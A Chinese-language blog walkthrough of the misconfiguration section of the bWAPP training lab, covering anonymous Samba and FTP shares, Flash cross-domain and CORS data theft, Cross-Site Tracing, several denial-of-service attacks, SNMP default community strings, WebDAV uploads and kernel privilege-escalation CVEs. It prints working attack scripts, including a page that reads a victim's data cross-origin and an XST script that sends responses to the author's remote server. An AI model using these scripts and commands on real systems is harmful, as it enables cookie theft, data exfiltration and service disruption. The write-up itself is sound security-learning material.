05BWAPP通关指北——安全配置缺失篇

夺旗攻略 2018-12-12

作者:古月蓝旻

Arbitrary File Access (Samba)--low

又是一道全网无解题,页面提示其实没啥卵用,当然我们要认清事实:这题在“安全配置缺失篇”底下,且没有给出CVE编号,所以找samba的任意文件访问漏洞的思路是不对。

那么真正的思路是什么呢?

当然是去找配置文件看看是那里配置地不对了

首先我们看一下虚拟机的samba服务有没有开

很好139和445都开着

在做这题之前我们首先要补充一下samba和samba配置文件的基础知识,samba其实挺出名的,共享文件专用服务。在Windows上,MS-17010和这位大哥可有着深厚的关系

推荐

配置Samba服务器

学习以后我们看下本机的samba服务配置吧

vim /etc/samba/smb.conf

其实其它地方还行,最底下终于泄漏了天机

tmp目录,不仅不是只读,也允许guest用户访问,这里就是我们突破的关键

更换另外一台CentOS主机,安装一下smbclient

yum install -y  samba-client

smbclient的用法参考samba的使用smbclient命令,我们直接使用

smbclient //192.168.248.130/tmp -N

成功登录

至于读写文件,分别可以用

get        meetsec.txt        /tmp/meetsec.txt

put         /tmp/b.txt        b.txt

方式进行,可以说是非常流弊了

当然,读/etc/passwd就不是本篇能做到的了,可能就需要利用其它漏洞进行

注:我在win10下的“运行”里,直接输入\\192.168.248.130\tmp,并不能直接访问bwapp的tmp目录,原因嘛,其实是win10的samba客户端不允许匿名访问

Cross-Domain Policy File (Flash)--low

又是一道长见识题,我感觉A5篇可能花费的时间会非常长,只能一点点来了

油管上看了一个教程,是直接利用后面的CSRF漏洞修改密码,我这里就不直接这么粗暴了,其实这道题在/var/www/evil文件夹里其实全套东西都有,看你怎么利用了,说实话这个能写一篇特别详细的教程,时间有限,这里就不展开了

Exploiting Cross-Domain Policy Vulnerability in bWAPP Application

简单概括一下思路:我们的bwapp站点对flash跨域没有做限制,使得其它恶意站点的flash可以以我们的名义执行操作或发送数据,类似csrf

嗯,我这边简单修改一下xdx.as

xdx.php不用动,还是让它post传递data即可

使用Flex SDK 把xdx.as编译成xdx.swf

mxmlc xdx.as

里面坑很多,参考

https://www.adobe.com/devnet/flex/flex-sdk-download.html

https://blog.csdn.net/senvil/article/details/48894205

https://www.jb51.net/softs/59622.html#download

创建一个本地站点,把xsx.swf和xsx.php放入,我用xampp

firefox访问localhost:8080/xdx.php,记得运行flash运行

此时看看bwapp的apache访问日志,神奇的事情发生,访问我本地localhost居然自动访问bwapp啦

由于cookie过期,马上跳转到login.php

localhost目录下多出xsx.as源码中的xsx.log,内容恰好就是login.php的源码

好的,那么发生问题的原因是什么呢?我们看一下

http://192.168.248.130/crossdomain.xml

可以看到我们的bwapp是允许来自任何域的主机的flash,js等文件的

Cross-Origin Resource Sharing (AJAX)--low

AJAX和跨域的相关知识,非常nice的一道题

首先我们补充一些前提知识

AJAX原理与CORS跨域

跨域资源共享 CORS 详解

由于bwapp跨域策略的存在,表示接受任意域名的请求。

<cross-domain-policy>
    <allow-access-from domain="*"/>
</cross-domain-policy>

顺便留意一下这段话

这里也解释了上一题为什么我们请求secret.php会302跳转到login.php,因为*的情况下,跨域请求无法携带cookie

好了根据以上知识点,我们尝试窃取一下下面网页的内容

http://192.168.248.130/bWAPP/secret-cors-1.php

网上参考了github上大哥的源码,简单参考一下,实际上就是把secret-cors-1.php的响应包alert出来

<html>
    <head>
    <script>
        function steal() {
            var r = new XMLHttpRequest();
            r.onreadystatechange = function() {
                if (r.readyState == 4 && r.status == 200) {
                    alert(r.responseText);
                }
            };
        r.open("GET", "http://192.168.248.130/bWAPP/secret-cors-1.php", true);
        r.send();
        }
    </script>
    </head>
    <body onload="steal()">
    </body>
</html>

保存为ajaxcors.html,然后放到我用bwapp启动的站点中,尝试访问一下

果然成功

有人说,这有啥用,啥场景可用啊

其实挺厉害的,首先ajaxcors.html可以不alert响应内容,而是把响应内容发送给远端服务器,其实如果某a.com站点存在该漏洞,攻击者可以在自己的b.com制作这样的html诱导受害者访问,泄漏受害者在a.com能看到的信息可能泄漏给攻击者

Cross-Site Tracing (XST)--low

难度继续升级,这次我们来看一个失效的黑魔法XST

页面也提示了通过XSS窃取cookie,但是现代浏览器不存在这个漏洞

steal字符加粗,对应了一段js,其实这是网站给的提示

那么我们首先了解一下什么是XST,

首先我们知道HTTP中有一个方法叫Trace,它的作用在于服务器响应包里返回请求头的信息,如下图所示

有人说,这有啥用啊?我们看到这里是完整返回了请求头信息,当然也包括cookie,

比如我们发现在目标网站一处存储型xss或者能控制服务器生成一个html页面,

但服务器设置了HTTPONLY,那么我们是无法通过js拿到cookie的,

我们可以在改页面插入ajax的js,让它异步发Trace包,并将响应包发送给我们的远端服务器。

诱导用户点击或访问,此时会把用户的请求头信息发送给远端服务器,我们就拿到了cookie

以上步骤我们发现想实现XST,有几个前提

1. 能控制目标站点服务器一处页面插入JS;
2. 诱导用户点击包含恶意JS的链接;
3. 用户浏览器支持Trace方法;

经过尝试,我们发现第3步现在已经不行了,你可以通过burp或者fiddle发送Trace包,但是浏览器不行(包括IE),当然思路很值得学习,我们先跟随试一下

首先在目标站点服务器创建xst1.html,内容如下

    <html>
    <head>
    <script>
var xmlhttp;
// Code for IE7+, Firefox, Chrome, Opera, Safari
if (window.XMLHttpRequest)
{
        xmlhttp=new XMLHttpRequest();
}
// Code for IE6, IE5
else
{
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
                xmlResp=xmlhttp.responseText;
                // document.getElementById("response").innerHTML=xmlResp
                alert(xmlResp);
                document.location="http://47.*.*.200:8888/grab.cgi?"+xmlResp;
        }
}
xmlhttp.open("TRACE","http://192.168.248.130/",true);
// xmlhttp.withCredentials = true;
xmlhttp.send();

 </script>
    </head>
    <body>
    </body>
</html>

简单说来就是访问xst1.html会向http://192.168.248.130/发出Trace请求,并把响应结果通过拼接方式传递给我的远端服务器http://47...200:8888/grab.cgi?"+xmlResp

测试一下

果然浏览器报错了

出错的正是

xmlhttp.open("TRACE","http://192.168.248.130/",true);

连IE都受不了

嗯,我们把TRACE换成GET试一下

firefox成功发出了向http://192.168.248.130/发出GET请求,但是响应没有给我们的远端服务器

我们试验一下IE

返回了响应,并且远端服务器收到了响应

由于是GET请求,因此里面是http://192.168.248.130/响应体而非请求头,受限于现代浏览器不能发Trace请求,因此这个漏洞在现代浏览器下是无法复现的,除非安装老版本或者关闭一些安全模块,当然这个漏洞本身还是很有意思的

Denial-of-Service (Large Chunk Size)--low

送分题,nginx的DOS漏洞,对应CVE-2013-2028

影响nginx1.3.9-1.4.0,先看看本机的nginx

占据8080和8443

访问一下本题提示页面给的py

用法简单

浏览器访问一下

效果拔群

该漏洞首次触发一个整数溢出的漏洞,在ngx_http_parse_chunked()传入一个非常长十六进制值作为分块块大小。
这个值是后来决定读入的字节数时使用的堆栈缓冲区,触发溢出。

当然,此时服务器内存也耗尽了

重启保平安

Denial-of-Service (Slow HTTP DoS)--low

AWVS里经常看见这个漏洞,其实原理很简单

利用的HTTP POST:POST的时候,指定一个非常大的content-length,然后以很低的速度发包,
比如10-100s发一个字节,hold住这个连接不断开。
这样当客户端连接多了后,占用住了webserver的所有可用连接,从而导致DOS。

解决办法参见Slow HTTP Denial of Service Attack 漏洞解决办法

复现参见DoS website using slowhttptest in Kali Linux – slowloris, slow HTTP POST and slow Read attack in one tool

DOS类漏洞不想测试了,大致了解即可

Denial-of-Service (SSL-Exhaustion)--low

SSL耗尽漏洞,关于这个漏洞,其实很像syn泛洪攻击(TCP3次握手大量发送SYN包,但是不回应),在这个漏洞也是类似

在和目标服务器首先进行TCP3次握手后

由于目标服务器需要提升为HTTPS,会进行SSL hankshake

那么客户端大量给服务端发SSL握手包但是不回应,就会造成服务端资源耗尽

HTTPS详解见我博客meetsec.cn

我们可以在kali下安装THC_SSL_DOC进行此攻击,比如本题提示攻击8443端口命令为

thc_ssl_doc 192.168.248.130 8443 --accept

不演示了,效果见油管视频

Denial of Service SSL Exhaustion

Denial-of-Service (XML Bomb)--low

xml炸弹,这个问题,我在上面的xml注入里面提过

这是道演示题,并不需要做

其实看payload可以知道lol9是由lol到lol8逐层叠加所得,指数级的增长能力以下就爆发出来了,自然让服务器受不了

这种DOS题每做一次,内存就boom

Insecure FTP Configuration--low

嗯,全网无解题其实挺醉

服务器上看了一下21端口运行的的proftp,找到了配置文件

/etc/proftpd/proftpd.conf

里面有一条

允许用户匿名访问,访问目录是/var/www/bWAPP/documents

尝试一下,用户名ftp,密码为空,果然可以,古人诚不欺我

ftp配置错误最常见的就是匿名用户访问和目录权限控制

补充一下,这题网上有解,还是命令行方式解的,git上能找到

Insecure SNMP Configuration--low

嗯,161端口

先学下snmp教程,其实主要是用于管理错综复杂的网络设备

SNMP基础知识整理

SNMP口令详解

我们看下配置文件,到底哪里不对?/etc/snmp/snmpd.conf

默认community,默认密码教人犯罪

先找台虚拟机安装一些snmp组件,然后...

snmpwalk -v 2c -c public 172.18.4.106 SNMPv2-MIB::sysName.0//获取主机名
snmpwalk -v 2c -c public 172.18.4.106 SNMPv2-MIB::sysDescr.0//获取内核信息
snmpdf -v 1 -c public 192.168.228.148      (public为访问密码)

至于提示说的列出进程和连接,这个上面文档都有
不继续尝试了

Insecure WebDAV Configuration--low

当年windows IIS6.0的put/move漏洞就是这货占半壁江山,linux下更简单了

先访问http://192.168.248.130/webdav/

然后抓包,方法改成PUT,文件名自定义,消息体放phpinfo

上传成功,直接访问效果一级棒

相关配置如下

Ubuntu下搭建WebDAV服务器

Local Privilege Escalation (sendpage)--low

cve-2009-2692,早年安卓提权神洞啊

相关教程

CVE-2009-2692: How to Bypass mmap_min_addr

浅析CVE-2009-2692

简直良心教学贴,提权脚本都给了,我们复制到虚拟机里,先su - bee变成普通用户,然后直接执行提权脚本就行

Local Privilege Escalation (udev)--low

嗯,cve-2009-1185的提权,但是影响版本为

2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29

bee虚拟内核为2.6.24,我在实际测试的时候发现该exp无法生效

相关资料见

Exploid:CVE-2009-1185 init未检查NETLINK消息来源,本地提权漏洞

顺便说一下,该exp利用的时候需要一个参数:udev的pid减1

udev的pid可以通过ps -ef|grep udev获得

Man-in-the-Middle Attack (HTTP)--low

HTTP的中间人啊,其实就是抓包第一课的内容,查看请求头和请求体

不多说了

Man-in-the-Middle Attack (SMTP)--low

这题的中间人主要还是可以通过中间人的身份,连续多次放包,使得收到大量邮件,至于截取邮件内容,或者添加收件人,这个通过burp是做不到的

要想实现SMTP的中间人,可以考虑抓取客户端和邮件服务器之间的数据包,比如fox-mail和163服务器在25端口的数据包,或者telnet方式连接邮件服务器发生邮件,但是大多数是能看包不能改包

Old, Backup & Unreferenced Files--low

教学题,主要想表达web目录下不要存放站点备份文件、旧文件和其它可能造成信息泄漏的文件,类似我司“风险文件”功能

那么如何找到这些文件呢?利用搜索引擎的高级搜索或者扫描器进行遍历都是可能发现这些文件的

Robots File--low

教学题,主要是想表达在robots.txt中不要存放敏感路径,比如本题的/admin/ /documents/ /passwords/

除了爬虫可能会根本不遵守相关规则获取信息外,扫描器也能发现敏感路径

OK,终于把这一篇更新完了,真是艰难,后面应该会好一些


本文由 古月蓝旻 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论